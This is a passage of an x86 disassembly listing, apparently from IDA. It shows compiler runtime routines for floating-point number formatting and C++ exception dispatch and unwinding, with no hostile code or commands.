loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9F4, ecx
		setl	cl
		mov	byte_4DB9F8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9F4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9F0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9F0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9FC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DBA00
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBA04, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9FC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBA00
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9FC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBA00, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9FC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBA00, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
